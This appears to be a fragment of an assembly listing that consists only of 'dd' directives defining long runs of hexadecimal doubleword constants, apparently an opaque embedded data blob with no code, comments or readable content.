0F44C86AFh, 0FFCB00DEh, 0A1D301CDh dd 0F8E08D02h, 0AFFC4600h, 0C7A4C1B2h, 0F2D70027h, 76A7DBEh dd 3C014C28h, 36FD4F94h, 0FAFDAB39h, 0FA1B7620h, 296600A0h dd 4E8374EDh, 0F90F68B4h, 67348875h, 0A16E1714h, 0B25FE336h dd 673AC0h, 0F208947Bh, 12E4AA53h, 2B7D707h, 24122EBEh dd 7D0460ACh, 0D1DA1F98h, 14103099h, 0A2004ECAh, 8642E7FAh dd 0C8272Fh, 3D8FDCA3h, 32843795h, 0B8099400h, 7D0639ABh dd 22CE1E1Dh, 4011DD07h, 0C9BAE50Dh, 1A00A42Fh, 16EBAC02h dd 0E8C2541h, 0A7542623h, 3900C38Bh, 0CAE1662Dh, 49D1E800h dd 0A9936F90h, 3B7A47h, 0CDD59821h, 0DE4CEAABh, 0C7402300h dd 58A4AF55h, 613F0044h, 685333A0h, 190005D8h, 0C75E9ED3h dd 3E482Bh, 7C60974Dh, 0E6EA1645h, 7005298h, 68F378CAh dd 148A9ABh, 0A7593B3Dh, 0C83A3437h, 8C004F88h, 7D968DDCh dd 9B5614h, 0B77490E8h, 7CA1E7F6h, 0CF008CECh, 3B315483h dd 7BDD65E1h, 420C01AEh, 8B0BA2AFh, 284F8D0h, 99783600h dd 0C2507BFAh, 0C84C00DDh, 0BC9E25D6h, 0F2E42E07h, 969C7303h dd 0DBB5048Eh, 92D3B0E5h, 0A1D10091h, 58F226E4h, 2100BEBBh dd 0C6194266h, 161F56Dh, 59F3F141h, 0FC1A2848h, 0BE00BC1Fh dd 0FF874C71h, 7AAACBh, 69C65A93h, 0C4DA452Bh, 0A62D700h dd 13837782h, 207D00D6h, 0FE0E96A5h, 44B0261Dh, 0FF785F24h dd 99F59400h, 56CB8C5h, 0C184D575h, 6303BE46h, 0BDE86088h dd 87F5BE00h, 0F48ACEh, 0C28019E3h, 0AD2A5F5Eh, 0CABB7D01h dd 2E25B699h, 16AD3ECh, 3E6C8984h, 0F0B87E74h, 1E00BA36h dd 0B6A2E05Bh, 5E3328h, 0DE62F37Dh, 7A702B37h, 0FAC23803h dd 8881E6h, 14632C20h, 2D291994h, 99FBDB00h, 9DEE82C3h dd 95B20FB4h, 14005205h, 2F555CA3h, 0E91CAA98h, 3B804390h dd 7F99F417h, 182E0ADh, 7976E46Fh, 0D6B35310h, 57D75B40h dd 0E1E85F00h, 0FA1F4618h, 65070068h, 1C4F7313h, 0D2008F35h dd 800D951Eh, 0D51B85h, 2CFCE119h, 0BE0C1F18h, 0AC00F375h dd 0F7DC2B57h, 766DCCh, 5EEB69B9h, 0C69960BFh, 0F89A700h dd 0AE5C4E66h, 5F270090h, 3277E97Eh, 0F7003147h, 74FAAF0Dh dd 7A7803Eh, 6A30AD12h, 65EE90BDh, 0BF00F2FBh, 963AC4FCh dd 0D02AB7h, 0BC2875F8h, 0B63F89B0h, 0FA1AEE07h, 7C508F3Bh dd 0F34ECh, 5F35C44Eh, 0A280523Fh, 705E4800h, 0C2CB4A8Fh dd 0D75C003Bh, 249B23C8h, 6F005DADh, 0B4504B7Eh, 1C9939h dd 0F63ADFEFh, 8EAC86Eh, 0B39C0D03h, 42608Dh, 0F73D9720h dd 21761F26h, 152B6201h, 296F51E4h, 1EC5AFCh, 0D60EF38Eh dd 60E8EDCFh, 0C40048B4h, 32E28BA4h, 0B718CCh, 4417DA79h dd 491C3513h, 2E8C1F01h, 0F3BC04DBh, 39936C4h, 396FB543h dd 0E8E831E6h, 0A8C049AFh, 0EFE0332Bh, 7D728Ah, 80377620h dd 0D22AEED1h, 3BE7F200h, 0B60FFF04h, 7FCC011Eh, 0E519C5E6h dd 0A7102034h, 0AA3FA2EEh, 5C8000E3h, 362AF3B5h, 9221C85h dd 0EBB40084h, 646E270Ch, 0F14BF417h, 0CB350BEBh, 10280000h dd 0EF00A3A0h, 72534FECh, 0D08815h, 0FDEB25B7h, 0DCDE1016h dd 0F6F75000h, 21ACB526h, 38AA00EDh, 0AB6B9B8Fh, 11004CDBh dd 6F2789FAh, 1DE703h, 6A343EE5h, 36616C7Fh, 40AFB300h dd 0C67145B0h, 0DAF400E4h, 16E635Dh, 0D64C99DCh, 82D43060h dd 110249h, 0E99EBBD5h, 0BE1BFE03h, 51B64800h, 0CA97EF3Eh dd 7590C6h, 0DE1C14C4h, 2A1F93B4h, 0D7E55B1Eh, 92D33F5Dh dd 8F5A2600h, 0D3DEF6h, 936CD2F4h, 0D024EF04h, 2341B00h dd 0A4B331BBh, 3CDA0026h, 93358D55h, 1217F727h, 0E800949Fh dd 0AE6631BAh, 9899004Bh, 1325B1E2h, 7E00601Eh, 0FDECD0B4h dd 0EE3F12Eh, 0EBB7451Fh, 0C5968E7Dh, 10F7C720h, 3F73D16Bh dd 86B03D00h, 0BC4DE8A6h, 9C7293h, 69DBF68h, 91C0295h dd 5C72920Fh, 83CB4013h, 61C1ADh, 0AE8BB7DCh, 0EAA37D1Bh dd 0F839A8FCh, 0E5C701B1h, 50A9C297h, 613CD8h, 0B521F570h dd 0D17FE8B2h, 4028F4F4h, 400B09Ah, 0F096208Dh, 0A327BEh dd 0DAF7CEB8h, 9EB68432h, 0D6570B00h, 0FB808CC3h, 48C11F4Bh dd 0B46ABAh, 0F296DF81h, 3F8EBC31h, 80B8A377h, 2072307h dd 95DF3C48h, 0D83DF3B0h, 39F720A1h, 5F80E73Ah, 0FB141E4h dd 0A2142EB8h, 2A0BB1Bh, 0EA5C644h, 80844251h, 0BE77D68Ah dd 1C870014h, 9CB00692h, 1B3B0D66h, 0DF5C42h, 3613D98h dd 0BA2BE9Dh, 0B87FB5D8h, 0B940330Eh, 3C8490EDh, 43037EC0h dd 0F148C5h, 59A71AF0h, 6A66FDCBh, 0EA503600h, 0BFED9705h dd 0EA65B842h, 8A5403DEh, 0E7E83F1Dh, 0B94CE0E7h, 442CB088h dd 8205902Ah, 802826CFh, 0FA84B0ADh, 8D570020h, 0E9D5A230h dd 0DF000E11h, 183735CDh, 0BA25C4h, 8350AEA0h, 27746CF9h dd 71618105h, 688088D3h, 0ED4E70h, 0D6E9FE62h, 3CC5B7F7h dd 5F127500h, 0FADDA07h, 0B19025h, 388A442Ah, 4F238359h dd 2D1AFA0Eh, 675FA06Dh, 0C7BCA8h, 6F35F116h, 0DE549F82h dd 7E025673h, 0DA5B51B7h, 0CCA44012h, 0F2860048h, 3F5EE7D8h dd 0C800FDFAh, 413C7C65h, 322198h, 2A8120CAh, 7DEC1184h dd 0A892FA60h, 0A9DBA1h, 2632C6D2h, 693835FEh, 0C7AF0E1Ch dd 0A0395980h, 71EF7Dh, 0E0FBA322h, 0A74E64C3h, 2B16700h dd 0F85E1284h, 0E4DB0905h, 4465573h, 0DF073E00h, 0B3C1895Ah dd 38A2428Ch, 8E03F9F0h, 0E2758DF1h, 0FC1A0016h, 0E412AB86h dd 190060D1h, 0D4DC3211h, 0EE5742h, 0D8626823h, 7AE74803h dd 0FCA8DFA3h, 1025FACFh, 23087C1Ah, 15F980ECh, 0FCBC9340h dd 0A5BD9002h, 6072B212h, 0CB1974h, 6A419DF3h, 0FEB6EF2h dd 0D2E6FC2Eh, 4944F802h, 54ACE0C9h, 9FF30B94h, 68A33A1Ch dd 7C81BB0Ch, 88670E8h, 0ED930700h, 2BC389D2h, 0B7650FA6h dd 5BE0DDFCh, 0E48603A9h, 2228B103h, 0A125CD35h, 0A03A4737h dd 0DB1C2422h, 0A2921288h, 0A8E84100h, 612FF9h, 4AAF44D2h dd 9F6CC258h, 5FA1FA00h, 4F5728D6h, 77001FBh, 0E3EA99E9h dd 0E40AF443h, 0BA74900h, 93592B6Bh, 446C1995h, 0D00410F8h dd 0ED00E50Eh, 7B257AC4h, 2E27797h, 7108E1E4h, 0BC40CEC0h dd 0A44BB6A9h, 0DFCE030h, 70541CE6h, 8305816Dh, 0C85BD301h dd 0DCFF1DEDh, 761CC568h, 800376Ah, 0C3308943h, 2B121749h dd 0A3F0024h, 0C0BA3D15h, 5626B600h, 0CC78FAAEh, 0D9E73AA5h dd 5CD5AC00h, 0C7AD3743h, 5B2FD00h, 0B4B517B6h, 87F50015h dd 0C48A1091h, 340045F8h dd 3BCC58F3h, 47DDCAh, 0AB2BF1ECh, 8C4041F7h, 92213Bh dd 75650CA4h, 98D70257h, 9555CE9h, 97002539h, 49F1B48Ch dd 2A00B9B0h, 7FBB8809h, 785BE1h, 2D056F94h, 38CC69A3h dd 0C5E31500h, 0E4DD4611h, 0A9A13EB2h, 0BF67B880h, 73B68121h dd 273D9F00h, 41F0B84h, 60200E86h, 0A0806EA2h, 0B487B3C8h dd 9D0023F8h, 0B7C9D91Bh, 0B9E2D98h, 5CF664F5h, 603E8E7Dh dd 4F1215Fh, 0AC9080h, 0DE348B99h, 3DFB8F67h, 3C33A102h dd 0E6210C1Ch, 0C5E51740h, 8C38423Bh, 99000E44h, 1160C5Fh dd 75ECC92Ah, 0C0918421h, 0F1F476B6h, 89B9FB01h, 0BF6D5D57h dd 0C60E1868h, 1FF2715Ah, 6552E0h, 35D23761h, 0F9058DC7h dd 0FDA22622h, 0D9DD851Fh, 2B6CFE40h, 58995A2Eh, 1B00BF54h dd 52CB1409h, 1277A6D7h, 0F01EE0F0h, 1803AB6h, 4B754D4h dd 0E5F70032h, 87681FEBh, 0BC39B8A9h, 23B507B4h, 0F3348A66h dd 6806B0D0h, 0C2500092h, 202EBE0Fh, 23B8054Ah, 0E084D102h dd 0C05659D7h, 0B085BCACh, 0AE2C0AD8h, 0B4A75Fh, 0F931610Bh dd 9B028B20h, 76E4B3D3h, 0E9B08011h, 7B9B679h, 552A7273h dd 404BE099h, 0D0E7AEAh, 0C1459669h, 4A574CABh, 0FFD9AE4h dd 0B0D4BC6Eh, 0DB8BB627h, 23A4D821h, 0FF869C4h, 0C06E8ACEh dd 8242EA73h, 0D0C4A3FFh, 662180Eh, 98D22E87h, 0F67F08C1h dd 2C885C01h, 0A6012848h, 0FE8460h, 9A911FD8h, 0D405F72h dd 0A26FC707h, 6D23AABFh, 6637B8EAh, 0E4DE0236h, 1C627C5h dd 2F2ED4C8h, 0A7C9B00Fh, 394381E9h, 5EECDF9Dh, 6D100015h dd 5506F39Ah, 4B3C0BCFh, 242380C7h, 0D9BEA4EAh, 0AB201F56h dd 70D643CCh, 9B90C363h, 22010613h, 0E9122946h, 0C7D86B90h dd 0EADF0085h, 6C1926F9h, 0BE00F58Eh, 0C97E685Dh, 1E96461Dh dd 0C150D429h, 11354B98h, 5951E8D2h, 0D0537C00h, 0EC7CE4Fh dd 3B47AC2h, 0C91B1024h, 0F7AFD661h, 54F2D056h, 29008155h dd 529DB3E0h, 0CAE79Bh, 28B604C7h, 0FEB94FCFh, 8A355D00h dd 739B0FC1h, 8B6E5CE6h, 3FAF3700h, 0CAF5A28Dh, 351F21F0h dd 73008A52h, 0CFE1E810h, 7EEF00F3h, 9C05C2BBh, 3F00A065h dd 46D987D2h, 0F8760740h, 9613073Ch, 32B22984h, 0FC40B07Eh dd 0F7582662h, 5B7100A0h, 0ECB81B36h, 522400F6h, 58AF21BDh dd 59009342h, 6BC7914Dh, 19D3A5h, 0AE6795Dh, 553840DAh dd 2BECC201h, 7F169D12h, 24DD4C20h, 50FCE413h, 73008340h dd 0B0BF02F9h, 3CD879FAh, 0E69EAFF2h, 980AC023h, 0DF2C6FD3h dd 0AD1FBA0Bh, 0BE688173h, 27E584D6h, 0B75F8h, 4DFE3AB2h dd 77030746h, 10B83679h, 2C197F26h, 4222AC0h, 7EBB028Bh dd 72AE14C4h, 51EDC840h, 0D002984Ah, 60A7F66Fh, 166A7118h dd 5EA26D9Fh, 1BAB809Ah, 203DB752h, 1014474h, 9A84B495h dd 3460F787h, 1CDF77B2h, 839CAD12h, 3174ECA2h, 0FC8E3AB1h dd 6500E9EFh, 0D9431E17h, 3B4D30C6h, 0A380FFE8h, 0B547AE2Eh dd 9C035B79h, 0DA89BCA2h, 0AB27A0D4h, 8EE600F6h, 9EDB028Bh dd 140072A4h, 4EF13D05h, 0E926CAh, 0FAE2386Eh, 593683BEh dd 8E024200h, 0C5FE2D7Ch, 0CE891CB8h, 86807E85h, 153A11ADh dd 1B2C1F18h, 1000C65h, 68D162C8h, 2A5500A8h, 0B773E617h dd 7900BB21h, 857D46A4h, 0FAFEF80h, 63F207E3h, 0B76115A3h dd 308FA0CFh, 0C72495C1h, 0F0003FA8h, 0C1B7236h, 742400F7h dd 0A9D99BDDh, 20B76A7h, 0C73D89EBh, 5BD87000h, 7618A084h dd 3DC0E9F1h, 835D03C5h, 0B70BBB05h, 5F31DBB8h, 0FFD51500h dd 6BF68D0Eh, 449702DEh, 0AD4108F2h, 46870440h, 4F009C70h dd 1D551211h, 309157h, 9905CDB6h, 0D1DAD587h, 0C79A8C00h dd 0EAC3C28Fh, 2E06F47Eh, 17EAFEF4h, 36B44027h, 0E0AC308Ch dd 342880C7h, 4509E67h, 0B616BAh, 0F4FBF7Eh, 0C9FC86FDh dd 33E8BE00h, 783E0D25h, 78FE81Ah, 0E0242FDDh, 0C69B20BCh dd 360011B3h, 0CB5DC032h, 0EA339895h, 89240FDFh, 54603A1Bh dd 0FF72631Ah, 8C0C0B2Eh, 0BF9FDB00h, 3C1C18D0h, 3F26CC90h dd 86540080h, 76C9D3B0h, 5F200907h, 0A2B763A3h, 225DCD30h dd 3E501C0h, 0D8B05AF8h, 0D34283BCh, 80DE0E17h, 0E67A736Dh dd 388D3DD1h, 2E66DC00h, 9CD9D23Bh, 0A4F11100h, 0D73F9337h dd 3D3F6E4h, 9771E55h, 0FCBACF81h, 1BF8C80h, 20CCE86h dd 20930B0Fh, 9DA103AEh, 6EA812A5h, 0AC5A4C00h, 0C606F7A6h dd 0C973001Eh, 3A3F65D8h, 0EB74C238h, 431E2CF8h, 0B84090A2h dd 8ADE48ACh, 15F1005Dh, 62F7E14Ch, 951D54DBh, 6E011CD5h dd 0E70D781Eh, 0F0974060h, 0A8960B02h, 0F84BDFADh, 0F387DD8h dd 30F9E700h, 98359399h, 0AE630029h, 495AE2E9h, 9B003603h dd 8673CDEFh, 0DED941h, 3431A998h, 3A5D9D2Ah, 0F08C4901h dd 8E03B84h, 0C0D205F1h, 82545644h, 19F1BC60h, 0DC762F00h dd 0D0A9B46Eh, 99280A5Dh, 9412EFh, 93FF6C9Dh, 1600ADE7h dd 871FD796h, 26F36h, 0C1A67761h, 41BD635Ah, 0F2E98800h dd 0E76F383h, 83A0093h, 0C86DAD8Eh, 630091FFh, 0C7707898h dd 0D4E7F6h, 56B71E34h, 0E072629Ah, 0BD009D7Ah, 8195B4D8h dd 733ECDA3h, 1E57F82Fh, 80872443h, 20C9F2B5h, 0C0BF6ACEh dd 0F2FDE1B3h, 801B0032h, 4A998638h, 2E00D9A2h, 0D685529h dd 0A1185Dh, 239D31DDh, 77FCD058h, 0BAE030EBh, 0B806A900h dd 1DC50A75h, 3372E6h, 9B776895h, 2A87C654h, 0C15F6B16h dd 0FAAD84Bh, 60F80050h, 662F62h, 0DA31AD33h, 7AD9689Ch dd 0FFB92800h, 73B1AB15h, 748F0F3Eh, 86E042A7h, 675BC184h dd 25B92403h, 0F00AF166h, 6BAE6Ch, 7264922Fh, 0F0A8176Dh dd 9AD45000h, 0AD0B8D04h, 0FA82008Ah, 19AB62E1h, 0F09FD1Eh dd 81042C84h, 0C763FEE8h, 781E8C8h, 0AE035869h, 0E9A4B0CEh dd 0D0123ADBh, 0A03F5D5h, 0C0788175h, 0DF3720h, 89A989Fh dd 52A9C71Ah, 0CDE35C00h, 0FCBD70D5h, 5526399Eh, 0CCDFC880h dd 42F33883h, 9F9C7903h, 0FF3D1477h, 8608E6h, 0DB33BE5h dd 98F1F7DAh, 5300F5EAh, 0ED88C4E7h, 0B02930h, 37232647h dd 0D6152A2Bh, 93CF2700h, 0D57DEBDAh, 0BC4B0034h, 2359331Fh dd 0FE01A2B4h, 750A7CEFh, 0BBC46F22h, 37E7009Ch, 6BD2F22Eh dd 5E00CDDCh, 846664DDh, 10B8E3Eh, 0C4B335BBh, 30890408h dd 3A00AFBDh, 44B04503h, 1C3B5070h, 3A08BFD8h, 0A58E2E80h dd 7D097AF4h, 25024909h, 387A00DCh, 1633DE72h, 0FFC19h dd 1F46F45Bh, 200FB427h, 0E09E767Eh, 8FCF022h, 0A29000B8h dd 0C894A131h, 70008964h, 336A5973h, 12046D9Eh, 0E8EE76h dd 0D43A5850h, 63587D8Dh, 0B5DF007Fh, 80C41336h, 4DA600CAh dd 8F5DD84Bh, 0F0F6BAAh, 0E05F436Eh, 0EDCD5C82h, 0F08813D7h dd 19A60079h, 177AF513h, 32302300h, 0FC751528h, 0F8F70F4Ah dd 0C4E0374Eh, 0E2EFEE61h, 0AC3BEAF8h, 63F080C5h, 748C9B10h dd 0DD0600B3h, 3978447Fh, 97E8F348h, 0ED5F0A03h, 0E8E69202h dd 0FE24D9h, 0A7068BD2h, 0AF75A889h, 14217E00h, 961FBF2Eh dd 0B7B90F6Fh, 0AC408CE0h, 5FB35FAh, 17A02900h, 0D319CBD8h dd 0E99B00EAh, 429779C8h, 0CF00724Bh, 183B66B1h, 14D98E4h dd 0E3752639h, 0C880311Ah, 0F500230Ah, 0E7D0D920h, 3F9A9CBh dd 8E97AF8h, 479869FCh, 54008D96h, 2D632398h, 0D78861h dd 7E122BC8h, 0FE64263Ch, 4F056C00h, 595452DCh, 7C3200CAh dd 564CA615h, 3800363Dh dd 0F19FE27Eh, 233980h, 4FDB508Fh, 660F096Ch, 5888B00h dd 270C8CE1h, 65A60017h, 5CD0A1ABh, 8100BA0Dh, 0A897016Ch dd 6710FFh, 27F1B52Ah, 2D83A315h, 1D248538h, 0A680F259h dd 1749B7B1h, 0C4B0FCBh, 2C206D48h, 7220ADBBh, 9BC59D04h dd 0F2C038F2h, 52284Ah, 0FDC1D670h, 0E2C09998h, 0CAE4341Fh dd 20B11A4Fh, 8B17D43Ch, 68980056h, 0C29441F0h, 0ED16DAEEh dd 71002FBBh, 0C0AD2A3Ch, 6D1100CBh, 0EAB084E6h, 400C9B37h dd 401C028Dh, 0D2102E43h, 0D65D006Ah, 6FD4E691h, 1D843148h dd 0C3004FA9h, 2F67434h, 16E699h, 0E759D703h, 0AF1F694Eh dd 927DEA1Ch, 26A79B01h, 5D00CB4h, 97AD0043h, 0DB27E1A2h dd 3100687Eh, 54554A3Dh, 1EE059EFh, 4388A064h, 95E7FD0Dh dd 91C7A8C8h, 58145604h, 80BEFBEAh, 5B74301Dh, 765D2C01h dd 0A17084B8h, 42FCD080h, 727E8723h, 0A8FB3A06h, 1B85E61h dd 753E1B98h, 701CA657h, 181FA0BDh, 0C300B37Bh, 0FB477655h dd 0E69007Dh, 427E4071h, 9900BDA2h, 0FEC5FAB9h, 0FF044D4h dd 1EF20F47h, 66FD4940h, 2A38FB0Dh, 9C8860E5h, 0E448C4h dd 147A6996h, 9A10A9FAh, 460B3D00h, 0A0D5AD53h, 35372CD6h dd 0EED030F4h, 0E3033C86h, 52563123h, 0C8E93A46h, 1F6128D0h dd 0C01C7A2Fh, 6D1822A2h, 420EC594h, 20A7632Dh, 17590649h dd 610918ADh, 0E2B5D678h, 0D5BD7B0Fh, 8BCA2037h, 1E968186h dd 0C0BB63EAh, 60B8A162h, 0BE00AEBDh, 89A6D392h, 1BF4F1h dd 2B2F4E35h, 8F9156BFh, 76735300h, 0DCB3F57Dh, 0E3100DEh dd 0ED8AD9D3h, 4C1E1F64h, 814093F9h, 41B9B09h, 4F280091h dd 2203F046h, 0A200C970h, 49655259h, 1FBA1CE4h, 4113661Fh dd 0B536F477h, 0F6D7D074h, 0A1E44D07h, 4A100B9Ch, 1D01144h dd 756DA80Eh, 0D05A79CAh, 9E014225h, 7B38271Ah, 3980F9BFh dd 0E10903B6h, 0C200430Ah, 2502499h, 91057Dh, 0A9DF46D1h dd 0E9521748h, 0FB1FB60Fh, 0F051017Fh, 1420440Dh, 0BD472649h dd 796007FDh, 64DA63C5h, 0E44E93A0h, 7046FC00h, 7BBC119h dd 750B1D23h, 0FDA18CE1h, 0AE00FC80h, 423DE78Dh, 0D3F084h dd 0A227DAC2h, 1BE3DB43h, 0C8D13200h, 34F72321h, 79916009h dd 900BFAA9h, 0CF877D01h, 0B17B3EE5h, 625197F0h, 444D20DFh dd 0D35E7F60h, 8115233Eh, 32C2BEFAh, 2080FB16h, 90CBF79Eh dd 0F000B04h, 1C520A23h, 3D63724h, 7EC29FB1h, 187F07C3h dd 65004876h, 0FD2D6A73h, 600F50h, 4FE45DC2h, 7F68F70Ah dd 0ABED612Eh, 1F145E00h, 183A21Ah, 1653ABC1h, 0CCF98251h dd 7800EAD0h, 6CAA2B86h, 1F3A909Ch, 7E057580h, 3F564500h dd 86A39961h, 0A50FFB00h, 0F385AE52h, 22CE00CAh, 0C66C4A32h dd 0E62612B1h, 0CD00D890h, 0D46ED789h, 395B0734h, 40D64B8Ch dd 80FBC1CFh, 10965300h, 0D8AA7989h, 2A0D0067h, 12D49238h dd 8500E91Ch, 0A51AD3A3h, 75E4B4AFh, 0C43C007Ch, 30BC7AF7h dd 226034ADh, 906BEC10h, 0D82C001Eh, 0CC13918Fh, 0F10088D6h dd 1C5551D3h, 2A89BBh, 0F0548EECh, 10B90EF5h, 65FA4100h dd 2143805Fh, 957701ADh, 8F423BFCh, 0CCFF61ECh, 5900166Fh dd 1045CCBDh, 90A854A5h, 0D6F2000Bh, 8A8774AEh, 5907551Bh dd 3A664760h, 0A80F1EA0h, 0A5B90027h, 0CC1295D4h, 37001BEAh dd 96E2A025h, 0C417EA2h, 0FDED0AC1h, 0B07FD098h, 2C308B60h dd 0F8E1105Eh, 0A24B00E5h, 2E4A3AC7h, 557CA0BCh, 74E3EF01h dd 2DED547Dh, 0F88E24F4h, 1947CDCh, 2096C5F5h, 84EF9985h dd 0FBCE5159h, 2213A204h, 5A0810A6h, 20947144h, 0B62152B8h dd 106B04B1h, 0B8110ACCh, 0B9215930h, 0D3E680DDh, 0A1213F9h dd 947A1378h, 0C2889D2Ch, 0A25F6E93h, 0FDAA4F18h, 831BD01h dd 0F9212075h, 1084CA7Fh, 10A0C796h, 58825440h, 2E02903Eh dd 4AB813EAh, 20109B30h, 5409E2C9h, 202F8096h, 0AA5CC00h dd 30FB977Dh, 0B1006868h, 0D09C452Fh, 1CCDD10h, 0BF0295D1h dd 80A8FF5Dh, 79341E50h, 92CB85B6h, 284B003Ch, 0EAF571FDh dd 0F6B06C0Dh, 0FB7D4800h, 13E4DCD2h, 0D5B30075h, 3F31AC30h dd 9800013Bh, 0C42937EDh, 0FE949ACEh, 487F15h, 0A60B1CF9h dd 0F3985D54h, 0D9ECE0C0h, 58455C82h, 3901F0A9h, 0A319B6D7h dd 26E0FFA8h, 0C97E89F3h, 349FE304h, 1C841CC4h, 713B0FAEh dd 830EE7E0h, 0A100D347h, 56FF0C80h, 0B2468Bh, 36ECF6DAh dd 8EE083A0h, 0F2643000h, 0BBE4DEB0h, 0FBE69Ah, 0BFD13E44h dd 0D2AEB96Bh, 2C86F800h, 6D5B5F3Bh, 0C9312CDDh, 5165000Fh dd 0F70685B4h, 7C5D38h, 0FF1796E7h, 0C3B519DAh, 33541418h dd 578C0800h, 64B46843h, 718007Fh, 0C32CDE3Ah, 0E87B12EEh dd 264AFD00h, 0C77489Ah, 2FEC0056h, 65A988E9h, 550F86B5h dd 4053EDE8h, 0D18AF6CEh, 5A3D005Bh, 0BD02B0A1h, 9F0F963Bh dd 868E06FFh, 780A6Ah, 23CE4516h, 91CB04EFh, 38FF0818h dd 201390h, 26A6DDF1h, 0CE7E386h, 555E40Bh, 0C12C8C96h dd 0D809390Bh, 8647EF9Dh, 181891EAh, 20F75D51h, 7B005380h dd 948BC972h, 249A08h, 668193E4h, 67AB3D9Ch, 0C99883E5h dd 88147F47h, 50B5C5Bh, 0E52C6463h, 905C72h, 6FFF4C68h dd 0C012FE6Eh, 0E8019EC6h, 88825790h, 1E8758E0h, 400FCBEDh dd 0F611E7ECh, 40F2760h, 0A00B9E81h, 0A61A6C48h, 0C44A00ADh dd 2B8705A4h, 37007823h, 0F612DB49h, 9FB569h, 0BEAC7D0Fh dd 649EC446h, 169B5924h, 0D73A3E00h, 6AE947h, 0B462EBF1h dd 4953E89Ch, 0DF0C8200h, 69E53284h, 0A4093B2Bh, 651E4E80h dd 0C858F20h, 60995F00h, 1250935Ch, 0DCB400A2h, 0CD0A73A4h dd 6F00F841h, 0E73ABAE0h, 5DABFF2h, 582B0616h, 9A1BC018h dd 9C60B1DCh, 98122668h, 854B0AE0h, 88EC9Fh, 0E74AC9F1h dd 0FC00A330h, 2BC32803h, 93960Ah, 5AC6F03Bh, 3E09AE4Ah dd 0D2A9B000h, 0DCCFA337h, 0E1D800EAh, 6036E597h, 650003E0h dd 63EB9D7Ah, 7C5016h, 148AB4C4h, 0A2057718h, 87DACB00h dd 0C3D395AEh, 4BD700AFh, 0F3571491h, 5D76DE54h, 6DDD9800h dd 0C047F08Dh, 0C3C20F30h, 0EB80CAF4h, 51773680h, 0E0E35707h dd 80EFC822h, 81165BD4h, 12E8F8DDh, 0D5B208h, 233D523Fh dd 0F800289Ah, 0EAF28AB9h, 608073F4h, 0D67498CCh, 330F7B57h dd 0E16D32C9h, 782608F6h, 719C25F0h, 8A6C0715h, 0E018241Fh dd 34E13B10h, 58E63607h, 5E705C83h, 201D10Dh, 1147A264h dd 7C906A16h, 4904F0C1h, 0F93EB813h, 81257020h, 72D140Fh dd 9DB320DEh, 0D0D157h, 90E7B87Ch, 567DC5Dh, 8A41EF1Dh dd 3B479D8Eh, 270D870h, 48BF0139h, 699ABD3Eh, 2D38F0EDh dd 28A3C70Ch, 0ECEAF011h, 16830749h, 0F3F40171h, 64A10E18h dd 29208027h, 4F6F3A04h, 149062h, 0ADDF1387h, 5EEC1BE2h dd 0E9ED2100h, 90C5C4AFh, 718400D9h, 9ABE6ECAh, 0A10E46D4h dd 20669DA5h, 0B94978B0h, 22EC006Ch, 34433329h, 0DCB01F6Dh dd 0D90D621Eh, 4A93C587h, 0B1B045E7h, 28611h, 90E42123h dd 3A82BCA2h, 9D27DD3Ah, 458030CCh, 84BAC905h, 10170902h dd 8603AF77h, 0A199EE36h, 9C29D0BFh, 0A2465300h, 18474BC2h dd 0B5D70060h, 11CDFCB9h, 19003F0Fh, 22022EB7h, 30732Ah dd 0D46A2D70h, 56E4477h, 86E7D500h, 0B9C566C9h, 375938D2h dd 8800E038h, 8B5F5B40h, 28071024h, 0EBFB0D5Ch, 33A21820h dd 15D1004Ch, 17D7CB74h dd 440064BAh, 0D6EF6E81h, 74E2356h, 75EDFFF0h, 0BF6D1030h dd 2D008368h, 20D8B07Ah, 0BA1D93h, 3124D715h, 59D13582h dd 9666A307h, 924061B8h, 0E6ACC7Fh, 0D80D9F34h, 1CA0E1AEh dd 79586571h, 74DA58h, 8A1F70E3h, 0E8E12188h, 0C5BB007Dh dd 99794289h, 0E03AF9F7h, 0FD1D0095h, 0DDCA3126h, 0D67E00EEh dd 0CC510D06h, 0BA3F3022h, 0C80072FFh, 0A62B0AAAh, 0B02444FEh dd 7FE13D21h, 7DAC5200h, 6BC43553h, 0E67FB490h, 7C1F5601h dd 58449946h, 38A8CCC4h, 941CDA67h, 7400BE41h, 9F9E4920h dd 0A507C42Ch, 6CA2CDD9h, 2471C2C0h, 60D000BFh, 75B802A8h dd 67004A82h, 0F82EAA63h, 17E849h, 352CC0C6h, 16A05AC2h dd 432AB807h, 90E0DCF4h, 0C71398h, 25B164B6h, 159D12F3h dd 0CAA1E900h, 604FFB51h, 0B990048h, 0FCCB5B7h, 0BC3A3910h dd 6388FA4h, 4DD78031h, 0A1C8E1h, 0F8611D58h, 7F1BFB8Fh dd 4ED0080Eh, 0E0DA6E72h, 9B0AD1B4h, 5F280114h, 0B7241739h dd 0B5B0D0BFh, 3701A17Ah, 0E9F0604Bh, 3BC007F2h, 0CB0F0038h dd 4CC1F527h, 4E009FB0h, 2298C4Bh, 0C86D46h, 0C389A390h dd 0FEA286D3h, 4C1EEA1Fh, 16F3A900h, 7888C3Bh, 74B8F446h dd 0FFDE701Fh, 0E0009D4Ch, 7B1685DAh, 46B18Ah, 55BA24F8h dd 11089567h, 8BC4D900h, 51D2184Ch, 54AA002Ah, 0F972750h dd 0C10087CFh, 0C794E88Eh, 0FF2C65h, 90BA3B86h, 1DCEA21Eh dd 8BC03901h, 26C69AF8h, 0FD65C60h, 0B2D96832h, 2743EE80h dd 2A0089F6h, 2C6250BDh, 80320Dh, 4F764C63h, 593397Eh dd 4819B113h, 0C2B20800h, 90B59682h, 816300F5h, 4056C7EFh dd 0F000615Eh, 0B8B99784h, 39E8D5Dh, 8F59A4A6h, 94F0240Dh dd 0A200EDF5h, 0E7831B60h, 2CBA2Fh, 0A515DF05h, 196B7F36h dd 160AA800h, 250FC331h, 0C9C600D7h, 0FC99DB84h, 9AA0AF4Fh dd 0C7067C7Ah, 6CA031B0h, 0F99A0098h, 0A8C20F45h, 910795FAh dd 0E7303CDDh, 0D4A4B6D0h, 4710064h, 2B2A8131h, 8E037ECFh dd 9D3C8D88h, 0A49EE8A6h, 0F8BC0048h, 6BAC67EFh, 0FA4C7C0Eh dd 25518418h, 0F420654Fh, 5C7299B4h, 0A0B88100h, 570E90F2h dd 0FD000B9h, 0E6F6795Bh, 0A498335Fh, 80C69438h, 0DE6B6F7Ch dd 0A39B31h, 0DFC16EEFh, 82837A18h, 0A9228F0Eh, 4EE5C02Fh dd 5440CFh, 0F7CE122Eh, 859DB646h, 2AD55000h, 86B86FB7h dd 2ECA075Dh, 538801F6h, 0E800FF3Ah, 36074F1h, 85206Ah 